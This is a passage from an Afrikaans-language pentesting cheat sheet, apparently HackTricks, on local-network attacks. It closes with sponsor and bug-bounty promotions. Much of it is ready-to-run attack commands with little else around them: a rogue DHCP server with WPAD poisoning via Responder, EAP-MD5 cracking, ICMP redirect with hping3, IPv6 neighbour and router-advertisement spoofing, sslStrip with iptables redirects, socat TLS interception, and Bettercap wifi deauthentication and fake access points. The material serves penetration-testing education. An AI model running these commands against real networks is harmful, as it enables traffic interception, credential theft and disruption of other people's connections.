om 'n sekondêre DNS-bediener IP in te stel. - Netmasker van die plaaslike netwerk: Gebruik
-n 255.255.255.0
om die netmasker vir die plaaslike netwerk te definieer. - Koppelvlak vir DHCP-verkeer: Gebruik
-I eth1
om te luister vir DHCP-verkeer op 'n spesifieke netwerk koppelvlak. - WPAD-konfigurasie-adres: Gebruik
-w “http://10.0.0.100/wpad.dat”
om die adres vir WPAD-konfigurasie in te stel, wat help met webverkeer onderskepping. - Spoof Verstek Gateway IP: Sluit
-S
in om die verstek gateway IP-adres te spoof. - Reageer op Alle DHCP-aanvrae: Sluit
-R
in om die bediener te laat reageer op alle DHCP-aanvrae, maar wees bewus dat dit lawaaierig is en opgespoor kan word.
Deur hierdie opsies korrek te gebruik, kan 'n skelm DHCP-bediener opgestel word om netwerkverkeer doeltreffend te onderskep.
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAP Aanvalle
Hier is 'n paar van die aanvalstaktieke wat teen 802.1X-implementasies gebruik kan word:
- Aktiewe brute-force wagwoord slyp via EAP
- Aanvalle op die RADIUS-bediener met misvormde EAP-inhoud (uitbuitings)
- EAP-boodskap vasvang en aflyn wagwoordkraak (EAP-MD5 en PEAP)
- Dwang EAP-MD5-verifikasie om TLS-sertifikaatvalidering te omseil
- Injekteer skadelike netwerkverkeer tydens verifikasie deur 'n hub of soortgelyk te gebruik
As die aanvaller tussen die slagoffer en die verifikasie-bediener is, kan hy probeer om (indien nodig) die verifikasieprotokol na EAP-MD5 af te gradeer en die verifikasiepoging vas te vang. Vervolgens kan hy hierdie metode gebruik om dit met geweld te ontsyfer:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) Aanvalle
FHRP (Eerste Sprong Redundansie Protokol) is 'n klas van netwerkprotokolle wat ontwerp is om 'n warm redundante roetingsisteem te skep. Met FHRP kan fisiese roetingsapparate gekombineer word in 'n enkele logiese toestel, wat fouttoleransie verhoog en help om die las te verdeel.
Ingenieurs van Cisco Systems het twee FHRP-protokolle ontwikkel, naamlik GLBP en HSRP.
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
Daar is drie weergawes van die Roetingsinligtingsprotokol (RIP) wat bekend is: RIP, RIPv2, en RIPng. Datagramme word deur RIP en RIPv2 na eweknieë gestuur via poort 520 met behulp van UDP, terwyl datagramme deur RIPng na UDP-poort 521 via IPv6-multigieting uitgesaai word. Ondersteuning vir MD5-outentisering is deur RIPv2 ingevoer. Aan die ander kant is daar geen inheemse outentisering wat deur RIPng ingesluit word nie; in plaas daarvan word daar staatgemaak op opsionele IPsec AH- en ESP-koptekens binne IPv6.
- RIP en RIPv2: Kommunikasie vind plaas deur UDP-datagramme op poort 520.
- RIPng: Gebruik UDP-poort 521 vir die uitsaai van datagramme via IPv6-multigieting.
Merk op dat RIPv2 MD5-outentisering ondersteun terwyl RIPng nie inheemse outentisering insluit nie en staatmaak op IPsec AH- en ESP-koptekens in IPv6.
EIGRP Aanvalle
EIGRP (Verbeterde Binneste Roetingspoortprotokol) is 'n dinamiese roetingsprotokol. Dit is 'n afstand-vector protokol. As daar geen outentisering en konfigurasie van passiewe koppelvlakke is nie, kan 'n indringer EIGRP-roeting beïnvloed en roetingstabellevergiftiging veroorsaak. Verder is die EIGRP-netwerk (met ander woorde, outonome stelsel) plat en het geen segmentering in enige sones nie. As 'n aanvaller 'n roete inspuit, is dit waarskynlik dat hierdie roete deur die outonome EIGRP-stelsel versprei.
Om 'n EIGRP-stelsel aan te val, vereis dit die vestiging van 'n naburskap met 'n regmatige EIGRP-roeter, wat 'n wye verskeidenheid moontlikhede bied, van basiese verkenning tot verskeie inspuitings.
FRRouting stel jou in staat om 'n virtuele roeter wat BGP, OSPF, EIGRP, RIP en ander protokolle ondersteun, te implementeer. Al wat jy hoef te doen is om dit op jou aanvaller se stelsel te implementeer en jy kan eintlik voorgee om 'n regmatige roeter in die roetingsdomein te wees.
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
Coly het die vermoë om EIGRP (Verbeterde Binneste Roetingspoortprotokol) uitsaaie te onderskep. Dit maak ook die inspuiting van pakkette moontlik, wat gebruik kan word om roetingskonfigurasies te verander.
OSPF
In die Open Kortste Pad Eerste (OSPF) protokol word MD5-outentisering algemeen gebruik om seker kommunikasie tussen roeters te verseker. Hierdie sekuriteitsmaatreël kan egter gekompromitteer word met behulp van gereedskap soos Loki en John the Ripper. Hierdie gereedskap is in staat om MD5-hashes vas te lê en te kraak, wat die outentiseringsleutel blootstel. Sodra hierdie sleutel verkry is, kan dit gebruik word om nuwe roetingsinligting in te voer. Om die roeteparameters te konfigureer en die gekompromitteerde sleutel te vestig, word die Injeksie en Konneksie lêers onderskeidelik gebruik.
- Vaslegging en Kraak van MD5-hashes: Gereedskap soos Loki en John the Ripper word hiervoor gebruik.
- Konfigurering van Roeteparameters: Dit word gedoen deur die Injeksie lêer.
- Vestiging van die Gekompromitteerde Sleutel: Die sleutel word gekonfigureer onder die Konneksie lêer.
Ander Generiese Gereedskap & Bronne
- Above: Gereedskap om netwerkverkeer te skandeer en kwesbaarhede te vind
- Jy kan 'n bietjie meer inligting oor netwerkaanvalle hier vind.
Spoofing
Die aanvaller konfigureer al die netwerkparameters (GW, IP, DNS) van die nuwe lid van die netwerk deur valse DHCP-antwoorde te stuur.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
Kyk na die vorige afdeling.
ICMPRedirect
ICMP Redirect bestaan uit die stuur van 'n ICMP-pakket tipe 1 kode 5 wat aandui dat die aanvaller die beste manier is om 'n IP te bereik. Dan, wanneer die slagoffer die IP wil kontak, sal dit die pakket deur die aanvaller stuur.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
Die aanvaller sal sommige (of al) die domeine wat die slagoffer vra vir oplos.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
Stel jou eie DNS in met dnsmasq
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
Plaaslike Hekke
Daar bestaan dikwels verskeie roetes na stelsels en netwerke. Nadat 'n lys van MAC-adresse binne die plaaslike netwerk saamgestel is, gebruik gateway-finder.py om gasheerstelsels te identifiseer wat IPv4 deurstuur ondersteun.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
Spoofing LLMNR, NBT-NS, en mDNS
Vir plaaslike host-oplossing wanneer DNS-opsoekings onsuksesvol is, steun Microsoft-stelsels op Link-Local Multicast Name Resolution (LLMNR) en die NetBIOS Name Service (NBT-NS). Soortgelyk, Apple Bonjour en Linux zero-configuration-implementasies maak gebruik van Multicast DNS (mDNS) om stelsels binne 'n netwerk te ontdek. As gevolg van die ongeauthentiseerde aard van hierdie protokolle en hul werking oor UDP, waar hulle boodskappe uitsaai, kan hulle uitgebuit word deur aanvallers wat daarop gemik is om gebruikers na skadelike dienste om te lei.
Jy kan dienste naboots wat deur gasheer gesoek word deur Responder te gebruik om valse reaksies te stuur.
Lees hier meer inligting oor hoe om dienste te naboots met Responder.
Spoofing WPAD
Webblaaier gebruik gewoonlik die Web Proxy Auto-Discovery (WPAD)-protokol om outomaties proksi-instellings te bekom. Dit behels die ophaling van konfigurasiebesonderhede van 'n bediener, spesifiek deur 'n URL soos "http://wpad.example.org/wpad.dat". Die ontdekking van hierdie bediener deur die kliënte kan plaasvind deur verskeie meganismes:
- Deur DHCP, waar die ontdekking gefasiliteer word deur 'n spesiale kode 252-invoer te gebruik.
- Deur DNS, wat behels om te soek na 'n gasheernaam wpad binne die plaaslike domein.
- Via Microsoft LLMNR en NBT-NS, wat terugvalmeganismes is wat gebruik word in gevalle waar DNS-opsoekings nie suksesvol is nie.
Die hulpmiddel Responder maak gebruik van hierdie protokol deur as 'n skadelike WPAD-bedieners op te tree. Dit gebruik DHCP, DNS, LLMNR, en NBT-NS om kliënte te mislei om daarmee te verbind. Om dieper in te gaan oor hoe dienste met Responder nageboots kan word, kyk hier.
Spoofing SSDP en UPnP-toestelle
Jy kan verskillende dienste in die netwerk aanbied om 'n gebruiker te probeer mislei om sekere plat-teks-gedragskode in te voer. Meer inligting oor hierdie aanval in Spoofing SSDP en UPnP-toestelle.
IPv6 Buurman Spoofing
Hierdie aanval is baie soortgelyk aan ARP Spoofing, maar in die IPv6-wêreld. Jy kan die slagoffer laat dink dat die IPv6 van die GW die MAC van die aanvaller het.
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 Router Advertisement Spoofing/Flooding
Sommige bedryfstelsels stel standaard die gateway in vanaf die RA-pakette wat in die netwerk gestuur word. Om die aanvaller as 'n IPv6-router te verklaar, kan jy gebruik:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP spoofing
Standaard probeer sommige OS om die DNS te konfigureer deur 'n DHCPv6-pakket in die netwerk te lees. Dan kan 'n aanvaller 'n DHCPv6-pakket stuur om homself as DNS te konfigureer. Die DHCP voorsien ook 'n IPv6 aan die slagoffer.
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (valse bladsy en JS-kode inspuiting)
Internet Aanvalle
sslStrip
Basies wat hierdie aanval doen is, in die geval waar die gebruiker probeer om 'n HTTP bladsy te besoek wat omleiding na die HTTPS weergawe. sslStrip sal 'n HTTP-verbinding met die kliënt handhaaf en 'n HTTPS-verbinding met die bediener sodat dit die verbinding in plat teks kan sniff.
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
Vir meer inligting hier.
sslStrip+ en dns2proxy vir omseil van HSTS
Die verskil tussen sslStrip+ en dns2proxy teenoor sslStrip is dat hulle sal herlei byvoorbeeld www.facebook.com na wwww.facebook.com (let op die ekstra "w") en sal die adres van hierdie domein as die aanvaller IP instel. Op hierdie manier sal die kliënt verbind met wwww.facebook.com (die aanvaller) maar agter die skerms sal sslstrip+ die werklike verbinding via https met www.facebook.com handhaaf.
Die doel van hierdie tegniek is om HSTS te vermy omdat wwww.facebook.com nie in die geheue van die webblaaier gestoor sal word nie, sodat die webblaaier mislei sal word om Facebook-verifikasie in HTTP uit te voer.
Let daarop dat om hierdie aanval uit te voer, die slagoffer aanvanklik moet probeer om toegang te verkry tot http://www.faceook.com en nie https nie. Dit kan gedoen word deur die skakels binne 'n http-bladsy te wysig.
Vir meer inligting hier, hier en hier.
sslStrip of sslStrip+ werk nie meer nie. Dit is omdat daar HSTS-reëls voorgesit is in die webblaaier, sodat selfs as dit die eerste keer is dat 'n gebruiker 'n "belangrike" domein toegang, sal hy dit via HTTPS toegang verkry. Let ook daarop dat die voorgesitde reëls en ander gegenereerde reëls die vlag includeSubdomains
kan gebruik sodat die wwww.facebook.com voorbeeld van vroeër nie meer sal werk nie aangesien facebook.com HSTS met includeSubdomains
gebruik.
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL luister in poort
Genereer sleutels en self-ondertekende sertifikaat
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
Luister met sertifikaat
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
Luister met behulp van sertifikaat en skakel om na die gasheer
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
Soms, as die klient nagaan of die CA geldig is, kan jy 'n sertifikaat van 'n ander gasheernaam wat deur 'n CA onderteken is, diens. 'n Ander interessante toets is om 'n sertifikaat van die versoekte gasheernaam maar selfonderteken te diens.
Ander dinge om te toets is om te probeer om die sertifikaat met 'n geldige sertifikaat te onderteken wat nie 'n geldige CA is nie. Of om die geldige openbare sleutel te gebruik, dwing om 'n algoritme soos Diffie-Hellman te gebruik (een wat nie nodig is om enigiets met die werklike privaatsleutel te ontsluit nie) en wanneer die klient 'n peiling van die werklike privaatsleutel versoek (soos 'n has) stuur 'n valse peiling en hoop dat die klient dit nie nagaan nie.
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Aktiewe Ontdekkingsnotas
Neem in ag dat wanneer 'n UDP-pakket na 'n toestel gestuur word wat nie oor die versoekte poort beskik nie, 'n ICMP (Poort Onbereikbaar) gestuur word.
ARP-ontdekking
ARP-pakkette word gebruik om te ontdek watter IP-adresse binne die netwerk gebruik word. Die rekenaar moet 'n versoek vir elke moontlike IP-adres stuur en slegs dié wat gebruik word, sal reageer.
mDNS (multicast DNS)
Bettercap stuur 'n MDNS-versoek (elke X ms) wat vra vir _services_.dns-sd._udp.local die masjien wat hierdie pakkie sien, antwoord gewoonlik op hierdie versoek. Dan soek dit slegs na masjiene wat antwoord op "dienste".
Hulpmiddels
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Name Server)
Bettercap stuur uitsaai-pakkette na poort 137/UDP wat vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
SSDP (Simple Service Discovery Protocol)
Bettercap stuur SSDP-pakkette uit wat soek na allerhande dienste (UDP-poort 1900).
WSD (Web Service Discovery)
Bettercap stuur WSD-pakkette uit wat soek na dienste (UDP-poort 3702).
Verwysings
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3de uitgawe)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. Deur Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
Bugsbounty-tippie: teken aan vir Intigriti, 'n premium bugsbounty-platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings te verdien tot $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Leer AWS-hacking van niks tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks-swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.